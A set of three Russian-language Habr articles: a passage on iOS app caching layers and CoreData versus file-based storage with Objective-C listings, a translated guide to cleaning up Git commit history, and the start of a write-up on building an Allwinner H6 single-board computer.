2. Сериализированные данные в поле «id» и «ident» могут содержать как строку, так и NSNumber. При выводе их на консоль, разницы между двумя числами не будет, но. хешкод у них будет разный, и словарь будет по разному воспринимать значение этих полей.
3. Отличия между именами полей являются ответственностью сервера, и серверные разработчики могут просто не идти на контакт, в том, чтоб заменить их имена на единообразные, удобные клиентским разработчикам.
Универсального решения этих проблем нет, но они не настолько сложны, чтоб это требовало значительных интеллектуальных усилий.
**Local cache layer:**
К задачам данного слоя относятся:
1. Кеширование загружаемых из сети изображений.
2. Кеширование запросов / ответов сервера
3. Формирование очереди запросов в случае отсутствия сети и работы пользователя оффлан.
4. Мониторинг кешированных данных и очистка данных, срок жизни которых истек.
5. Уведомление приложения о невозможности получить информацию о заданном объекте из сети.
Вообще, этот слой — тема отдельной большой статьи. Но есть определенное количество нюансов, которые следует учитывать разработчикам.
Для кеширования запросов можно немного модернизировать процедуры из листинга 1. Я настоятельно рекомендую использовать виртуальные методы для этого, но, для простоты будет продемонстрирован непосредственный вызов метода класса:
**Листинг 7**
```
- (void)request:(NSDictionary *)data andEndpoint:(NSString *)endpoint andMethod:(enum REQUEST_METHOD)method success:(void(^)(id response))success fail:(void(^)(id response))fail queueAvailable:(BOOL)queueAvailable
{
self.requestSerializer = [AFJSONRequestSerializer serializer];
if(data == nil)
data = @{};
// Returning cache response.
NSDictionary *cachedResponse = [HttpCache request:endpoint];
if(cachedResponse !=nil)
{
[self callingSuccesses:method withResponse:cachedResponse endpoint:endpoint data:data success:success fail:fail];
return;
}
AFHTTPRequestOperation *operation = [self requestWithMethod:method path:endpoint parameters:data success:success fail:fail];
[self consoleLogRequest:data operation:operation];
[operation start];
}
- (AFHTTPRequestOperation *)requestPOSTMethod:(NSDictionary *)data andEndpoint:(NSString *)endpoint success:(void(^)(id response))success fail:(void(^)(id response))fail {
return [self POST:endpoint
parameters:data
success:^(AFHTTPRequestOperation *operation, id responseObject) {
[self callingSuccesses:POST withResponse:responseObject endpoint:endpoint data:data success:success fail:fail];
[HttpCache cacheResponse:responseObject httpResponse:operation.response];
} failure:^(AFHTTPRequestOperation *operation, NSError *error) {
NSLog(@"\n\n--- ERROR: %@", operation);
NSLog(@"\n--- DATA: %@", data);
[self callingFail:fail error:error];
}];
}
```
В классе HttpCache по-мимо методов сохранения результатов запроса имеется еще один, интересный метод:
**Листинг 8**
```
#define CacheControlParam @"Cache-Control"
#define kMaxAge @"max-age="
- (NSInteger)timeLife:(NSHTTPURLResponse *)httpResponse {
NSString *cacheControl = httpResponse.allHeaderFields[CacheControlParam];
if(cacheControl.length > 0)
{
NSRange range = [cacheControl rangeOfString:kMaxAge];
if(range.location!=NSNotFound)
{
cacheControl = [cacheControl substringFromIndex:range.location + range.length];
return cacheControl.integerValue;
}
}
return 0;
}
```
Он позволяет извлечь из заголовка ответа сервера ключевую информацию о том через сколько секунд истечет время жизни полученного пакета (дата проэкспарится). Используя эту информацию можно записать данные в локальное хранилище, и при повторном аналогичном запросе просто прочесть ранее полученные данные. Если же метод возвращает 0, то такие данные можно не записывать.
Таким образом, на сервере можно регулировать что именно должно быть кешировано на клиенте. Стоит отметить, что используются стандартные поля заголовка. Так что, в плане стандарта велосипед не изобретается.
Путем еще одной небольшой модификации листинга 1 легко решается вопрос с очередями:
**Листинг 9**
```
- (void)request:(NSDictionary *)data andEndpoint:(NSString *)endpoint andMethod:(enum REQUEST_METHOD)method success:(void(^)(id response))success fail:(void(^)(id response))fail queueAvailable:(BOOL)queueAvailable
{
self.requestSerializer = [AFJSONRequestSerializer serializer];
if(data == nil)
data = @{};
if(queueAvailable)
{
[HttpQueue request:data endpoint:endpoint method:method];
}
AFHTTPRequestOperation *operation = [self requestWithMethod:method path:endpoint parameters:data success:success fail:fail];
[operation start];
}
```
Класс HttpQueue проверяет, имеется ли в настоящее время подключение к сети и если оно отсутствует, записывает запрос в хранилище с указанием времени производимого запроса с точностью до миллисекунд. Когда же подключение возобновляется, производится вычитывание данных из хранилища и передачи из на сервер, с одновременной очисткой очереди запросов. Это дает возможность обеспечить определенную клиент-серверную работу без непосредственного подключения к сети.
Проверка подключения к сети осуществляется с помощью классов AFNetworkReachabilityManager или Reachability от Apple ( [developer.apple.com/library/ios/samplecode/Reachability/Introduction/Intro.html](https://developer.apple.com/library/ios/samplecode/Reachability/Introduction/Intro.html) ) совместно с паттерном наблюдатель. Его устройство слишком примитивно, чтоб описывать в рамках статьи.
Однако, не все запросы должны быть отправлены в очередь. Некоторые из них могут не быть актуальными к моменту появления сети. Решить какие из команд дожны быть записаны в кеш очереди, а каки быть актуальны толко в момент вызова можно как на уровне слоя кеширования, так и на уровне слоя API.
В первом случае, в листинг 9, вместо вызова метода сохранения в очередь, необходимо вставить виртуальный метод, и унаследовать от класса ApiLayer унаследовать классы LocalCacheLayerWithQueue и LocalCacheLayerWithoutQueue. После чего в заданном виртуальном методе класса LocalCacheLayerWithQueue сделать вызов [HttpQueue request: endpoint: method:]
Во втором случае немного изменится вызов запроса из класса ApiLayer
**Листинг 10**
```
- (void)trackNotification:(NSDictionary *)data success:(void(^)(id response))success fail:(void(^)(id response))fail {
[self request:data andEndpoint:TRACKNOTIFICATION_ENDPOINT andMethod:POST success:success fail:fail queueAvailable:YES];
}
```
В листинге 9 именно для такого случая предусмотрено условие if(queueAvailable).
Так же, отдельным вопросом является вопрос кеширования изображений. В общем-то, вопрос не сложный, и оттого, имеющий бесконечное количество реализаций. К примеру, библиотека SDWebImage делает это весьма успешно: ( [github.com/rs/SDWebImage](https://github.com/rs/SDWebImage) ).
Между тем, есть некоторые вещи, которые она делать не умеет. Например, она не может очищать кеш изображений по заданным критериям (количество изображений, дата их создания и т. д.), логгирование или коррекцию специфических ошибок т. е. разработчику приходится все равно изобретать свои велосипеды для кеширования.
Приведу пример асинхронной загрузки изображения из сети, с коррекцией ошибки MIME (к примеру, Amazon часто отдает неправильный MIME type, в результате чего, их же веб-сервер отправляет изображение, не как двоичный файл с картинкой, а как поток данных).
**Листинг 11**
```
#define LOCAL_CACHES_IMAGES_FILEPATH @"%@/Library/Caches/picture%ld.jpg"
- (void)loadImage:(NSString*)link
success:(void(^)(UIImage *image))success
fail:(void(^)(NSError *error))fail
{
UIImage *image = [ImagesCache imageFromCache:link.hash];
if(image == nil)
{
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
__block NSData *data;
__block UIImage *remoteImage;
__block NSData *dataImage;
__block NSString *imgFilePath = [NSString stringWithFormat:LOCAL_CACHES_IMAGES_FILEPATH, NSHomeDirectory(), (unsigned long)link.hash];
data = [NSData dataWithContentsOfURL: [NSURL URLWithString:link]]; // Reading DATA
if(data.length > 0)
{
remoteImage = [[UIImage alloc] initWithData: data]; // TRANSFORM DATA TO IMAGE
if(remoteImage!=nil)
{
dataImage = [NSData dataWithData:UIImageJPEGRepresentation(remoteImage, 1.0)]; // TRANSFORM IMAGE TO JPEG DATA
if(dataImage!=nil && dataImage.length > 0)
[dataImage writeToFile:imgFilePath atomically:YES]; // Writing JPEG file
}
else // try to fix BINARY image type (first method)
{
[dataImage writeToFile:imgFilePath atomically:YES];
remoteImage = [UIImage imageWithContentsOfFile:imgFilePath];
}
}
else // try to fix BINARY image type (second method)
{
NSURLRequest *urlRequest = [NSURLRequest requestWithURL:[NSURL URLWithString:link]];
NSURLResponse *response = nil;
NSError *error = nil;
data = [NSURLConnection sendSynchronousRequest:urlRequest returningResponse:&response error:&error];
if (error == nil)
{
remoteImage = [[UIImage alloc] initWithData: data]; // TRANSFORM DATA TO IMAGE
if(remoteImage!=nil)
{
dataImage = [NSData dataWithData:UIImageJPEGRepresentation(remoteImage, 1.0)]; // TRANSFORM IMAGE TO JPEG DATA
if(dataImage!=nil && dataImage.length > 0)
[dataImage writeToFile:imgFilePath atomically:YES]; // Writing JPEG file
}
NSLog(@"USED SECONDARY METHOD FOR LOAD OF IMAGE");
}
else
NSLog(@"DATA WASN'T LOAD %@\nLINK %@", error, link);
}
dispatch_async(dispatch_get_main_queue(), ^{
if(remoteImage!=nil && success!=nil)
{
success(remoteImage);
[ImagesCache update:link.hash];
}
else
{
if(data.length == 0)
NSLog(@"%@", @"\n============================\nDETECTED ERRROR OF DOWNLOAD IMAGE\nFILE CAN'T LOAD\nUSED PLACEHOLDER\n============================\n");
else
NSLog(@"%@", @"\n============================\nDETECTED ERRROR OF DOWNLOAD IMAGE\nUSED PLACEHOLDER\n============================\n");
NSLog(@"LINK %@", link);
UIImage *placeholder = [LoadImage userPlaceholder];
if (success)
success(placeholder);
// if(fail!=nil)
// fail([NSError errorWithDomain:[NSString stringWithFormat:@"%@ not accessible", link] code:-1 userInfo:nil]);
}
});
});
}
else
{
success(image);
}
}
```
Метод может казаться весьма избыточным, но легко модифицируемым к конкретным нуждам разработчика. Из важных моментов следует отметить то, что в качестве ключа для кеширования используется хеш URL изображения. Практически невозможно чтоб при таком подходе случилась коллизия в рамках файловой системы устройства.
При каждом чтении файла из кеша, у него модифицируется дата доступа. Файлы которые не перечитываются долгое время можно спокойно удалить еще на старте приложения.
Когда речи идет о чтении файла из бандла приложения, имеется нюанс, который забывают разработчики: iOS SDK предоставляет нам такие методы как [UIImage imageNamed:] и [UIImage imageWithContentsOfFile:]. Использовать первый проще, но он существенно влияет на загруженность памяти — дело в том, что файл загруженный при помощи него, остается в памяти устройства, до тех пор, пока приложение не будет завершено. Если это файл, который имеет большой объем, то это может стать проблемой. Рекомендуется использовать второй метод, как можно чаще. Кроме того, полезно сделать небольшое усовершенствование в метод загрузки:
**Листинг 12**
```
+ (UIImage *)fromBundlePng:(NSString *)name
{
return [[LoadImage sharedInstance] fromBundlePng:name];
}
- (UIImage *)fromBundle:(NSString *)name
{
return [self downloadFromBundle:name.stringByDeletingPathExtension ext:name.pathExtension];
}
- (UIImage *)downloadFromBundle:(NSString *)name ext:(NSString *)ext
{
NSString *filePath = [[NSBundle mainBundle] pathForResource:name ofType:ext];
if(filePath == nil)
{
NSString *filename = [NSString stringWithFormat:@"%@@2x", name];
filePath = [[NSBundle mainBundle] pathForResource:filename ofType:ext];
}
return [UIImage imageWithContentsOfFile:filePath];
}
```
Теперь Вам не придется задаваться вопросом, в какой резолюции присутствует файл.
Workflows layer:
Все реализованные алгоритмы, которые не относятся к слоям ядра, и не представляют собой GUI должны быть вынесены в классы специфических последовательностей рабочих процессов. Каждый из этих процессов оформляется в своем стиле, и подключается к основной части приложения путем добавления ссылок на экземпляр соответствующего класса в GUI. В подавляющем большинстве случаев, все эти процессы являются не визуальными. Однако имеются некоторые исключения, например, когда необходимо осуществить длинную последовательность предопределенных кадров анимации, с заданными алгоритмами отображения
Вызывающий код должен иметь минимальные знания об этой функциональности. Все настройки flow должны быть инакапсулированы. Google в качестве примера приводит код для уведомления из сервера аналитики, и предлагает включить его в место, где событие возникает.
**Листинг 13**
```
// Analytics
[Analytics passedEvent:ANALYTICS_EVENT_PEOPLE_SELECT
ForCategory:ANALYTICS_CATEGORY_PEOPLE
WithProperties:nil];
```
Очевидно, что если возникнет необходимость в оповещении другого сервера, рядом с этим кодом необходимо будет добавить еще такой же код со своими настройками. Такой подход не оправдан и недопустим. Вместо этого, необходимо создать класс, который имеет метод класса, для вызова аналитических серверов с заданной функциональностью.
Существуют довольно развитые рабочие процессы, логика функционирования которых зависит от внутренного состояния. Такие процессы должны быть реализованы при помощи паттернов «Стратегия» или «Машина состояний». Как правило, совместно с паттерном «стратегия» используется паттерн «медиатор» который опосредует обращение к тому или иному алгоритму.
Один из часто используемых процессов — процесс авторизации пользователя — очевидный претендент на рефаторинг с использованием паттерна «машины состояний». При этом, именно на этом flow должна лежать ответственность за «автоматическую» авторизацию пользователя, а не рекурсивным образом вызываться из абстрактных слоев (Network Layer, или Validation Items).
Каждый вызов слоев ядра сопровождается передачей объекта обратного вызова (callback), и именно через него должно быть возвращено управление в приложение при успешном выполнении команды или возникновения ошибок. Ни в коем случае не должен допускаться неявный вызов слоев ядра, объектами рабочей последовательности.
Так же, ни в коем случае нельзя допускать, чтоб какие-либо универсальные визуальные контролы зависели бы от состояния рабочих последовательностей. Если это критически необходимо, такие контролы должны быть приватизированы последовательностью. Доступ к состоянию контролов может осуществляться через свойства самих контролов, наследование и переопределение методов, и, в крайнем случае, через реализацию делегатных методов и путем создания категорий. Ключевым в этом витиеватом посыле есть то, что категории — это зло, которого следует избегать. Т. е. я не предлагаю отказываться от категорий, но при прочих равных условиях, код без них легче читается и несомненно более предсказуемый.
**Local storage:**
Желание разработчиков находится в тренде новых технологий, порой, сталкивается со здравым смыслом, и, последний часто проигрывает. Одно из веяний моды было использование локального хранилища на основе CoreData. Некоторые разработчики настаивали, что его нужно использовать в как можно большем количестве проектов, не смотря на то, что даже сама Apple признавала, что есть определенные трудности.
Существует большое количество способов сохранение временных данных в постоянном хранилище устройства. Использование CoreData оправдано в том случае, когда нам необходимо хранить большое количество редко обновляемых данных. Однако, если в приложении имеется несколько сот записей, и ни постоянно обновляются скопом использование CoreData в этих целях неоправданно дорого. Таким образом, получается, что большую часть времени ресурсов устройство тратит на синхронизацию данных полученных из сети, с теми данными которые уже есть на устройстве, несмотря на то, что весь массив данных, будет обновлён во время следущей сессии.
Использование CoreData ( [habrahabr.ru/post/191334](http://habrahabr.ru/post/191334/) ), кроме того, требует также соблюдение определённых процедур, алгоритмов и архитектурных решений, что ограничивает нас в выборе стратегии разработки, а так же существенно осложняет механизмы отладки нашего приложения.
Как правило использования постоянных хранилищ призвана обеспечить существенное снижение сетевого трафика, за счёт использования уже полученной из сети информации. Однако, в некоторых случаях это не происходит поскольку источником этой информации является сервер, который и принимают решения относительно актуальности данной информации.
**Локальное хранилище на основе файловой системы**
Использование NSDictionary к качестве формата полученных данных позволяет автоматически решить еще целый ряд архитектурных проблем:
1. данные в массивах могут быть представлены точно в той последовательности, в которой они были получены от сервера.
2. данные однозначно соответствуют используемому запросу к серверу, с точностью до передаваемых параметров в POST запросе (т. е. легко было отличить объекты полученный от определенной команды, от объекта полученного от той же команды, но с другими данными, переданными в качестве параметров POST пост запроса).
3. Атомарность записи объекта данных в постоянное хранилище.
4. Мгновенность и атомарность чтение данных из постоянного хранилища.
5. Полное соответствие ACID транзактности: [en.wikipedia.org/wiki/ACID](https://en.wikipedia.org/wiki/ACID)
6. Отсутствие необходимости в нормализации данных.
7. Независимость в интерпретации данных.
8. Все данные всегда актуальны.
9. Объем кода поддержки минимален (1 строка).
Средства чтения / записи iOS SDK делает NSDictionary идеальным форматом сохранения относительно небольших короткоживущих данных, поскольку для этого применяются однопроходные алгоритмы.
Для чтения сериализированных сохраненных данных нет необходимости в том, чтоб задействовать дополнительную логику. Возврат данных может осуществляться той же командой, которая читает данные из сети.
Отрицательной стороной такого подхода считается, что это плохо влияет на производительность устройства, однако, изучение вопроса показывает, что объем таких данных не превышает 5Кбайт, данные загружаются в память мгновенно, единым блоком, и таким же образом освобождаются из памяти, сразу же после того, как в них отпадает необходимость, например, когда ViewController перестает существовать. В то же время чтение данных блоками (построчно) из базы данных SQL порождает большое количество объектов (на уровне выходящем за рамки контроля приложения), которые суммарно превышают указанный объем, к тому же, создают дополнительную нагрузку на процессор. Использование центрального хранилище оправдано тогда, когда данные должны сохраняться долгое время, на протяжении многих сессий работы приложения. При этом, данные из сети загружаются частично.
**Локальное хранилище на основе CoreData.**
CoreData не предоставляет возможности для использование сериализированных данных. Все данные должны быть подвергнуты объектно-реляционным преобразованиям, до их использования слоем локального хранилища. После получения данных от команды API profile, происходит передача данных в метод категории copyDataFromRemoteJSON, где из словаря извлекаются данные, а затем уже сохраняются в соответствующем управляемом объекте (потомокк класса NSManagedObject).
Вот пример того, как это происходит:
**Листинг 14**
```
[[Client client] profile:@{} success:^(id response) {
[[Member getCurrentMember] copyDataFromRemoteJSON:[response valueForKey:@"data"]];
} fail:^(id response) {
}];
```
Еще лучшим подходом было бы, если бы callback из API мог бы возвращать валидизированные сериализированные данные, упакованные, к тому же, в управляемый объект.
Общий алгоритм работы с данными следующий:
1. Пользователю отображаются данные которые присутствуют в системе сразу после запуска приложения.
2. Производится запрос на получение тех же данных с удаленного сервера, так как сервер должен подтвердить их актуальность. Этот запрос подтверждает авторизацию приложения.
3. Если данные с сервера получены, то авторизация осуществлена успешно, и производится циклическая загрузка остальных данных.
4. Если сервер не подтверждает авторизацию (срок жизни токена истек) все данные локальной системы удаляются. Пользовательский интерфейс обновляется.
5. Полученные данные синхронизируются с содержимым локального хранилища. (Т. е. каждый объект частично вычитывается из локального хранилища, проверяется, есть ли идентификатор такого объекта, если такой идентификатор уже есть, данные игнорируются/обновляются, если его нет, данные добавляются).
6. После того, как процесс записи осуществлен полностью интерфейс пользователя обновляется
**Преимущества данного подхода:**
Гипотетически считается, что ленивая загрузка при помощи NSFetchController позволяет существенно ускорить отображение данных из базы данных, когда их количество составляет несколько тысяч записей. Так же, добавление данных в базу уменьшает количество передаваемой информации по сети. Данные добавляются. Те что есть- показываются пользователю. Пользователь может удалить данные которые ему не нужны. Данные добавляются в те, объекты, которые уже существуют, как элементы их массива.
**Недостатки такого подхода:**
1. В первую очередь к надостаткам подхода необходимо отнести все те преимущества, которые были рассмотрены выше (подход на основе файловой системы):
2. Последовательность отображения данных на экране не гарантируется, поскольку, данные извлекаются из SQLite базы данных, а там они лежат в «натуральном» порядке. Для создания последовательного отображения требуется вводить атоинкрементный номер, или какой-либо другой механизм, которые не предоставляется, ни CoreData ни SQLite.
3. Данные никак не связаны с сетевыми запросами, что сильно осложняет их отладку.
4. Сохранение данных в локальном хранилище происходит атомарно для всего контекста. Но, между вызовами записи данные могут быть потеряны, или перезатерты. Кроме того, процедура сохранения в базе может быть не вызвана.
5. Большие объемы данных извлекаются из Database с существенно большей скоростью чем чтение плоского файла, однако, для сравнительно небольших файлов, скорость все равно будет выше.
6. ACID не применим к SQLite в реализации с CoreData. Одновременная запись разных контекстов из разных потоков легко приводит к крешам приложения. Частично проблема решается путем использования библиотеки MagicRecords.
7. Для нормализации данных необходимо применять специальные процедуры. Если некоторые поля заполняются по определенному условию, а объем данных возрастает, то либо данные необходимо дробить на большое количество объектов, либо извлекать из них абстрактные сущности, либо применять специальные процедуры для удаления устаревающих данных.
8. Данные в CoreData всегда реляционны. Поэтому этому вопрос независимости рассматриваться может только в том случае, если схема CoreData не содержит связей между элементами.
9. Поскольку актуальность данных определяется сервером, а не приложением, то данные которые не были получены из сети, все равно приходится удалять. Таким образом, использование CoreData никак не влияет на сетевой трафик в данной схеме.
10. Объем кода многократно превышает тот, который необходим для обслуживания хранилища на основе файловой системы. Так же, использование CoreData налагает определенные ограничения и на пользовательский интерфейс.
Во-вторую очередь к недостаткам подхода необходимо так же отнести то, что:
1. CoreData требует определенной дисциплины для работы из различных потоков приложения, и выборе актуального контекста.
2. Синхронизация данных может настолько снижать производительность устройства, что вопрос об использовании 4S аппаратов будет весьма актуальным.
3. Сильно осложнена отладка приложений. Некоторые операции неочевидные, и для поиска ошибочного поведения приходится изучать библиотеку MagicalRecords (https://github.com/magicalpanda/MagicalRecord) или дописывать свои классы и категории.
Прежде чем делать выбор между CoreData, локальной файловой системой, или любым другим хранилищем стоит уяснить для себя, для чего Ваше локальное хранилище будет использовано. Если для хранения и накопления данных между сессиями — то CoreData идеальный механизм для такой реализации, но, если это временные данные, стоит рассмотреть варианты хранения данных в виде плоских файлов, или иерархического хранилища по типу NoSQL баз данных или XML.
При использовании библиотеки MagicalRecords возникает ситуация, когда для правильного функционирования приложения табличное представление должно быть частью UITableViewController, иначе становится затруднительным использование NSFetchController лежащий в основе загрузки данных CoreData. Таким образом, существует зависимость в использовании пользовательского интерфейса, от локального хранилища. Т. е. имплементация CoreData ограничивает в разработке UI.
**Альтернативный взгляд**
Не смотря на высказанные возражения, использование CoreData может, действительно, потенциально увеличить производительность при возрастании объема данных, в том случае, если воспользоваться следующими альтернативами:
**Альтернатива 1**
Произвести нормализацию данных API сервера. Сервер должен возвращать не полный иерархический объект, с множеством вложенных сущностей, а множество мелких объектов, которые легко добавляются в базу данных.
В этом случае:
Загружаться будут небольшие порции свежих данных, что уменьши сетевой трафик.
Приложение сможет сделать запрос к серверу с идентификаторами объектов, чтоб сервер вернул список того, что необходимо удалить.
Отпадает необходимость в синхронизации получаемых данных для каждой загружаемой записи.
**Альтернатива 2**
Задача может быть решена только средствами клиентского приложения: сформировать таблицу в CoreData в которую записывать JSON объект в чистом виде, сразу после доступа к сети. Дополнительно вписывать туда дату записи, идентификатор пользователя, хеш запроса, и хеш данных.
Это позволит:
1. Сериализировать данные «на лету» в двоичные объекты на основе JSON схемы.
2. Обеспечить функционирования этого механизма на уровне Слоя Ядра, т. е. прозрачно для разработчика.
3. Мгновенно переключаться между контекстами пользователей.
4. Удалять неактуальные записи по мере их устаревания, на основе информации заданной сервером в заголовке ответа.
5. Не смотря на использование SQLite сервера данные не потребуют нормализации.
6. Существенно сократить количество используемого кода.
**Заключение:**
Статья получилась довольно длинной, и, сомневаюсь, что большинство читателей осилят ее до конца. По этой причине, часть, связанную с GUI я решил отсюда выкинуть. Во-первых, она относилась к построению пользовательского интерфейса через UITabbar, а во-вторых, в одной из скайп групп, состоялась весьма интересная дискуссия относительно использования широко известных паттернов MVC и MVVM. Излагать принципы построения интерфейса не имеет смысл без скурпулезного изложения существущих практик и подходов, которые заводят разработчиков в тупик. Но это тема большой еще одной многостраничной статьи. Здесь же, я постарался рассмотреть лишь вопросы, связанные с функционированием ядра приложения.
Если читатели проявят достаточный интерес к этой тематике, то в ближайшее время постараюсь выложить исходные классы, для использование в качестве шаблона приложения. | https://habr.com/ru/post/246877/ | null | ru | null |
# Как привести в порядок историю ваших коммитов в Git
Публикуем перевод [статьи](https://hackernoon.com/how-to-clean-your-git-history-ryzb3ydv), которую мы нашли на hackernoon.com. Ее автор, Thiago Miranda, пишет о том, как сделать работу с Git более удобной и эффективной.
### О некоторых крайне полезных командах в Git
Последний месяц я занимался парным программированием и создал несколько сотен коммитов в Git. В статье я поделюсь самым важным из того, что узнал за это время: расскажу о работе с историей коммитов, об удачных приемах и о том, как реализовать их с помощью десятка команд.
#### 1. Что такое история в Git?
Точный реестр всех коммитов, содержащих произведенные с файлами изменения. В нем вы можете отследить конкретные изменения и время их внесения или сравнить текущую версию с предыдущей. Где посмотреть историю? Введите через Git Bash команду:
```
git log --oneline
```
Если у вас слишком много коммитов, вы можете переходить от одного комментария к другому с помощью клавиш со стрелками или клавиш Page Up / Page Down — как и в любом другом файле. Чтобы выйти, нажмите горячую клавишу (q).
#### 2. О комментариях к коммитам
Не пишите бессодержательные комментарии, они должны быть краткими и не требующими пояснений. Их задача — указать, какие изменения вы внесли в код и на что они влияют.
* Как не надо: «Исправлен index.html»
* Как надо: «Улучшена скорость работы навигационной панели»
Давайте посмотрим, для чего это нужно.
Представьте, что вы работаете над таким масштабным проектом, что большую часть занятых в нем специалистов даже не знаете. Вы разрабатываете новую фичу, тестируете ее на своем оборудовании, и все работает отлично.
Но после пуша внезапно все перестает работать, и первое, что вы проверяете — изменения, внесенные за время разработки этой фичи. В логе Git вы находите множество коммитов с комментариями в стиле «исправлен». Вообразите, сколько времени придется потратить на то, чтобы найти нужное!
#### 3. Всегда делайте коммиты
Коммиты, коммиты и еще раз коммиты. Закончили функцию — добавьте коммит, улучшили стиль блочного элемента — добавьте коммит и так далее. В идеале вы должны отправлять коммит при каждом изменении.
Возможно, вы думаете: зачем так много коммитов? Основная причина в том, что ваш новый функционал может вступить в конфликт с чьим-нибудь кодом, но если вы всегда коммитите небольшие изменения, найти их и поправить будет проще. Так вы сэкономите время на отслеживании десятков или сотен строк, измененных в одном и том же коммите.
#### 4. Исправьте последний комментарий к коммиту
Что, если уже после добавления небольшого коммита в ваш локальный репозиторий вы захотели исправить допущенную опечатку или сделать комментарий к коммиту подробнее? Внести изменения довольно просто сделать с помощью команды:
```
git commit -m “correct message” --amend
```
Обратите внимание: если вы уже запушили коммит в удаленный репозиторий, эту команду лучше не использовать.
Подробности см. в [официальной документации](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History).
#### 5. Объедините последние Х коммитов в один
Ситуация: отправив коммит к новой фиче, вы понимаете, что нужно еще одно небольшое изменение, вносите минимальные правки и снова коммитите… В итоге 5 коммитов об одном и том же. Бывало? Подобные коммиты выбиваются из общего вида вашей истории в Git, но при желании их несложно поправить, применив команду:
```
git reset HEAD~3
```
Команда HEAD~3 откатывает 3 верхних коммита, включая самый последний. В этом примере три ваших последних коммита будут стерты из лога, но изменения в коде останутся на месте. Теперь пора посмотреть, какой код нужно закоммитить, для этого вводим команду:
```
git stage --diff
```
Вы увидите, что все изменения в коммитах, которые вы убрали из истории, теперь индексированы, так что их можно закоммитить снова, в этот раз в один прием.
Обратите внимание, что HEAD обычно относится к последнему добавленному вами коммиту. Если вы не уверены, сверьтесь с логом Git. Если ваш последний коммит был замержен (не самый распространенный случай), команда HEAD~1 сотрет все коммиты из замерженной ветки. Чтобы узнать больше, посмотрите документацию.
#### 6. Удалите последний коммит с изменениями
Будьте осторожны, так как этот способ сотрет все изменения без возможности откатить. Обычно он используется после экспериментов с кодом, если их результат не соответствует ожиданиям. Я рекомендую сперва попробовать в репозитории-песочнице.
```
git reset –-hard HEAD~1
```
Теперь ваш последний коммит удален, как и все соответствующие изменения в коде.
#### 7. Очистите историю своих коммитов
Самый эффективный способ очистить историю коммитов — воспользоваться командой rebase. Будьте осторожны: вы можете удалить коммит, случайно нажав не ту клавишу. Итак, давайте запустим rebase в диалоговом режиме (флаг -i) с помощью команды:
```
git rebase -i HEAD~5
```
Как только вы вошли в него, вы увидите список из 5 последних коммитов (HEAD~5) внутри терминала. Все коммиты отсортированы по дате, т. е. наверху будет самый новый (этот список открывается с помощью Vim — текстового редактора Git по умолчанию, позволяющего редактировать текстовые файлы внутри терминала). И здесь же краткая инструкция с несколькими полезными командами. В большинстве случаев вам понадобятся команды squash и reword.
Заменив команду pick командой squash, вы удалите этот коммит из лога, и все изменения в коде будут сгруппированы с последним коммитом, выделенным командой pick.
Если вы хотите откорректировать комментарий, можно заменить команду pick командой reword и переписать комментарий.
Теперь вы можете перейти к следующему окну, где нужно написать один комментарий для группы коммитов, которые вы собираетесь склеить с помощью squash. Чтобы продолжить, нажмите ESC и введите:
```
:wq!
```
Двоеточие `(:)` необходимо, чтобы показать, что вы хотите передать команду, `(w)` — чтобы записать (сохранить) изменения, `(q)` — чтобы выйти, а `(!)` — чтобы выполнить команду.
Обратите внимание, что каждая группа коммитов получит ваш комментарий. Результат можно проверить в логе Git.
Если по какой-то причине вы покидаете это окно, не завершив операцию, вы можете вернуться в любой момент с помощью команды:
```
git rebase --edit
```
Если вы хотите покинуть окно, не сохранив изменения, нажмите клавишу ESC и введите:
```
:q!
```
Vim получит команду закрыть файл без сохранения.
#### 8. Управляйте индексацией
Обычно следует отправлять коммиты к одному файлу или к группе связанных файлов. Но как тогда оперативно вносить изменения при индексации?
Скажем, у вас есть 3 файла, и нужно закоммитить только 2 из них. В этом случае можно попробовать следующую команду:
```
git add .
```
Теперь удалите из индексации тот файл, который вам не нужен:
```
git reset -- Readme.txt
```
И проверьте результат:
```
git status
```
Добавьте все файлы из какого-либо расширения, например CSS:
```
git add *.css
```
Добавили все по ошибке? Тогда очистите индексацию, воспользовавшись командой:
```
git reset --
```
Если вам нужны более сложные операции, можно добавить файлы в индексацию с помощью диалогового режима:
```
git add -i
```
Сначала выберите опцию, введя соответствующий номер, например (3), чтобы откатить свои действия.
Выбрав опцию, можно ввести список файлов, которые вы хотите убрать из индексации, один за другим.
Когда завершите, нажмите (Enter).
Добавление файлов происходит по той же схеме. С помощью опции (4) добавьте неотслеживаемый файл.
Чтобы выйти, введите `(q)` в меню опций.
#### 9. Вывод
Главное, что нужно сделать перед пушем в удаленный репозиторий и особенно перед мержем вашей ветки, — убедиться в том, что вы привели в порядок историю коммитов. Как только вы запушите все в удаленный репозиторий, уже ничего поправить нельзя.
Хотите узнать больше о парном программировании и начать работать удаленно? Загляните на [Microverse.org](https://www.microverse.org/). | https://habr.com/ru/post/495328/ | null | ru | null |
# DIY-одноплатник или OrangePi на минималках
Аудио выход разведен не той стороной. Не баг, а фича.Некоторое время назад Arduino казалось какой-то непонятной магией когда только узнал про нее. Потом быстро перешел к самим микроконтроллерам. Позже, работая программистом микроконтроллеров, захотелось чего-то большего и я уже смотрел в сторону линукса и одноплатных компьютеров. В руки попал Raspberry Pi, но это готовый продукт с определенной периферией (не хочу HDMI, хочу RGB LCD) и некоторое время спустя я уже думал как сделать что-то подобное самому.
Вдохновился статьей [SO YOU WANT TO BUILD AN EMBEDDED LINUX SYSTEM](https://jaycarlson.net/embedded-linux/), где автор собирает десяток отладочных плат с разными SOC и минимальной периферией. Объясняет, что это не так страшно и сложно как это кажется на первый взгляд.
Цель
----
Как минимум получить консоль с командной строкой, максимум - запуск Doom. Коммерческой основы нет, скорее proof of concept и опыт. В этой статье кратко опишу этапы разработки, а в конце помигаем светодиодом.
Плата
-----
Вообще первая ревизия платы была сделана полтора года назад на STM32MP157DB1, без WIFI и USB. Этот процессор можно разместить на 4х слоях. Но в связи с последними событиями, дефицитом полупроводников, данный чип было сложно найти и свободно купить за вменяемую стоимость.
За референс следующей платы была взята Orange Pi 3 LTS (или One Plus), Pine H64 Model B. Схемотехника основных компонентов у них идентичная и в свободном доступе. Процессор Allwinner H6. Что было важно для меня, имеет параллельный интерфейс для подключения дисплея. Схема питания RGB LCD (AVDD, VGH, VGL, Backlight) была сделана на основе схемы RGB LCD HAT для Raspberry Pi, только с другими компонентами и адаптирована под необходимые напряжения. В этом помог Power Designer от Texas Instruments. Touchscreen - STMPE811, WIFI -AP6212.
Трассировка.
